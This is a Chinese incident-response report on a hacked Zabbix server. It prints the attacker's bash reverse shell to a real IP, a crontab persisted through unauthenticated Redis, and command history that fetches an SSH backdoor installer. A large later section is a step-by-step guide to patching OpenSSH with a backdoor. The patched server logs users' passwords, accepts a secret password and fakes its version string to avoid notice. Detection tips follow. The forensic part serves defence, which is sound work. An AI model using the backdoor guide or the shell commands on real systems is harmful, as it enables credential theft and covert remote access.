2017.3.27中午运维反应怀疑zabbix所在服务器被入侵。


排查过程:

ps查看进程,发现端口反弹行为

Bash反弹:/dev/tcp/107.151.149.242/82 0>&1
Python反弹:rssocks -s 107.151.149.242:1080

查看进程启动时间发现为Feb 27,启动账户为Root。
查看/sbin /usr/bin /usr/sbin /bin

[root@blog73 etc]# ls -al /bin /usr/bin /usr/sbin/ /sbin/ | grep "Feb 27"
-rwxr-xr-x 1 root root 84824 Feb 27 2013 dbus-binding-tool
-rwxr-xr-x 1 root root 66360 Feb 27 16:52 scp
-rwxr-xr-x 1 root root 108760 Feb 27 16:52 sftp
lrwxrwxrwx 1 root root 5 Feb 27 16:52 slogin -> ./ssh
-rwxr-xr-x 1 root root 403104 Feb 27 16:52 ssh
-rwxr-xr-x 1 root root 139704 Feb 27 16:52 ssh-add
-rwxr-xr-x 1 root root 122992 Feb 27 16:52 ssh-agent
-rwxr-xr-x 1 root root 189280 Feb 27 16:52 ssh-keygen
-rwxr-xr-x 1 root root 230112 Feb 27 16:52 ssh-keyscan
-rwxr-xr-x 1 root root 493504 Feb 27 16:52 sshd

发现sshd Mtime为Feb 27,可以确认此时的SSH已经被植入后门,一般的SSH后门比较容易发现,功能如下:
1)如果我通过SSH登录该服务器,那么攻击者可以记录我的登录密码
2)可以记录从该机器SSH到其他机器的密码

查找到攻击者下载的文件:

[root@blog73 tmp]# ll /var/tmp/
total 20
-rw-r--r-- 1 root root 517 Mar 27 13:48 getTitle.py
drwxr-xr-x 6 root root 4096 Feb 27 17:22 python
-rw-r--r-- 1 root root 689 Mar 27 13:48 ssh.py
drwxr-xr-x 5 1000 1000 4096 Feb 27 16:59 sss
drwxr-xr-x 4 root root 4096 Apr 16 2015 tat

其中sss下为socks的源码文件。

[root@blog73 bin]# ll /usr/local/bin/ssocks*
-rwxr-xr-x 1 root root 115732 Feb 27 16:59 /usr/local/bin/ssocks
-rwxr-xr-x 1 root root 107074 Feb 27 16:59 /usr/local/bin/ssocksd

在根目录下发现攻击者的SSH密码记录文件。

[root@blog73 /]# ls -al | grep log
-rw-r--r-- 1 root root 372 Mar 27 13:38 .ilog
[root@blog73 /]# cat .ilog
user:password --> web:************
user:password --> admin:*************

在定时任务中发现了攻击者的反弹任务

[root@blog73 /]# crontab -l
REDIS0006þ<

*/1 * * * * bash -i >& /dev/tcp/107.151.149.242/82 0>&1

这个很明显是利用Root启动的Redis无密码持久化写入反弹任务。查看Redis

[root@blog73 web]# /usr/local/bin/redis-cli
127.0.0.1:6379> KEYS *
1) "1"
127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/107.151.149.242/82 0>&1\n\n\n"

果然发现了该value

查看还未断开的攻击者的连接

[root@blog73 tmp]# ps axu | grep Feb27 | grep bash
root 12411 0.0 0.0 66124 1560 ? S Feb27 0:00 bash -i
root 24268 0.0 0.0 66124 1568 ? S Feb27 0:00 bash -i
[root@blog73 fd]# lsof -p 12411
bash 12411 root 0u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 1u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 2u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 255u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
[root@blog73 12411]# lsof -p 24268
bash 24268 root 0u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 1u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 2u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 255u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)

通过history查看攻击者的其他行为:

82 [2017-02-27 16:33:28][root][] nmap 192.168.122.1/24 -p873
83 [2017-02-27 16:33:55][root][] nmap 192.168.109.1/24 -p873
85 [2017-02-27 16:34:57][root][] nmap 59.151.113.73/24 -p6379,2049

攻击者扫描内网Rsync端口。

109 [2017-02-27 16:47:57][root][] wget https://raw.githubusercontent.com/yeohZhou/neiwang/master/sshBackdoorinsatll.sh --no-check
110 [2017-02-27 16:48:00][root][] ls
111 [2017-02-27 16:48:08][root][] mv sshBackdoorinsatll.sh /var/tmp/
112 [2017-02-27 16:48:10][root][] cd /var/tmp
113 [2017-02-27 16:48:10][root][] ls
114 [2017-02-27 16:49:26][root][] chmod +x sshBackdoorinsatll.sh
115 [2017-02-27 16:49:40][root][] ssh -V
116 [2017-02-27 16:50:03][root][] ./sshBackdoorinsatll.sh OpenSSH_4.3 p2
117 [2017-02-27 16:52:48][root][] ls
118 [2017-02-27 16:53:08][root][] /etc/init.d/sshd restart

攻击者下载SSH后门,并执行替换SSH。

120 [2017-02-27 16:56:41][root][] wget https://svwh.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
121 [2017-02-27 16:58:38][root][] ls
122 [2017-02-27 16:58:44][root][] tar zxvf ssocks-0.0.14.tar.gz
123 [2017-02-27 16:58:51][root][] mv ssocks-0.0.14 sss
124 [2017-02-27 16:58:52][root][] ls
125 [2017-02-27 16:58:54][root][] cd sss
126 [2017-02-27 16:58:54][root][] ls
127 [2017-02-27 16:59:09][root][] ./configure && make
128 [2017-02-27 16:59:39][root][] make install

攻击者下载Sock反弹程序。

135 [2017-02-27 17:00:52][root][] wget https://raw.githubusercontent.com/yeohZhou/neiwang/master/getTitle.py --no-check
144 [2017-02-27 17:07:01][root][] python getTitle.py 10.59.0 80
145 [2017-02-27 17:07:12][root][] pip install requests
146 [2017-02-27 17:10:22][root][] wget https://pypi.python.org/packages/37/e4/74cb55b3da7777a1dc7cd7985c3cb12e83e213c03b0f9ca20d2c0e92b3c3/requests-1.2.0.tar.gz#md5=22af2682233770e5468a986f451c51c0 --no-check
147 [2017-02-27 17:10:25][root][] ls
148 [2017-02-27 17:10:35][root][] tar zxvf requests-1.2.0.tar.gz
149 [2017-02-27 17:10:44][root][] cd requests-1.2.0
150 [2017-02-27 17:10:44][root][] ls
151 [2017-02-27 17:10:53][root][] python setup.py
152 [2017-02-27 17:11:00][root][] python install setup.py
153 [2017-02-27 17:11:04][root][] python setup.py install
154 [2017-02-27 17:11:23][root][] cd ..
155 [2017-02-27 17:11:23][root][] ls
156 [2017-02-27 17:11:25][root][] wget https://pypi.python.org/packages/04/75/52e169351e24a9faa8bfac69a07ea3551b845ca6354f22da15c5da3d5100/requests-0.13.4.tar.gz#md5=286cd3352509691e81c520accc5b9e48
157 [2017-02-27 17:11:35][root][] wget https://pypi.python.org/packages/04/75/52e169351e24a9faa8bfac69a07ea3551b845ca6354f22da15c5da3d5100/requests-0.13.4.tar.gz#md5=286cd3352509691e81c520accc5b9e48 --no-check
158 [2017-02-27 17:12:20][root][] tar zxvf requests-0.13.4.tar.gz
159 [2017-02-27 17:12:25][root][] cd requests-0.13.4
160 [2017-02-27 17:12:25][root][] ls
161 [2017-02-27 17:12:29][root][] python setup.py
162 [2017-02-27 17:14:38][root][] yum install python
163 [2017-02-27 17:14:55][root][] yum
164 [2017-02-27 17:15:18][root][] yum update python

攻击者下载了扫描内网80端口并且记录title的Python程序getTitle.py,想进一步扫描内网,但是发现Linux自带的Python没有requests包,下载requests包并安装,升级Python版本。后未执行成功该脚本。


处理方式

1)KIll异常进程,删除Py文件、crontab内容。
2)重装Openssh
3)卸载Redis
4)重启服务器


改进方案

1)
之前监控重心一直在JAVA Web服务器上,HIDS并未在全网部署,需要全网推行。

2)
蜜罐监控端口较为局限,之前只是监控了常用密码扫描的敏感端口服务,本次更新添加873、6379、9200等。

安装步骤:

http://core.ipsecs.com/rootkit/patch-to-hack/0×06-openssh-5.9p1.patch.tar.gz
http://ftp.eu.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
安装前首先
ssh -V
[root@vincent tmp]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
记录下原来ssh版本信息,免得安装后一看就版本不一样了

tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff //patch 后门

vi includes.h //修改后门密码,记录文件位置,

/*
+#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321" //你后门的密码
*/

vi version.h //修改SSH_VERSION,改成原来的OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

 

123

先安装所需环境不然会报错

yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

注意要是出现:configure: error: *** zlib.h missing – please install first or check config.log
需要安装zlib
yum install -y zlib zlib-devel
make && make install
service sshd restart //重启sshd
然后我们登录ssh看看,不会记录使用后门密码登录的记录。

修复方案:
1)重装openssh软件
2)SSH禁止对外开放

应急响应:
1)比对ssh的版本
ssh -V
2)查看ssh配置文件和/usr/sbin/sshd的时间
stat /usr/sbin/sshd
3)strings检查/usr/sbin/sshd,看是否有邮箱信息
strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过strings /usr/sbin/sshd可以查看到邮箱信息。
4)通过strace监控sshd进程读写文件的操作
一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

ps axu | grep sshd | grep -v grep
root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd
strace -o aa -ff -p 65530
grep open aa* | grep -v -e No -e null -e denied| grep WR
aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4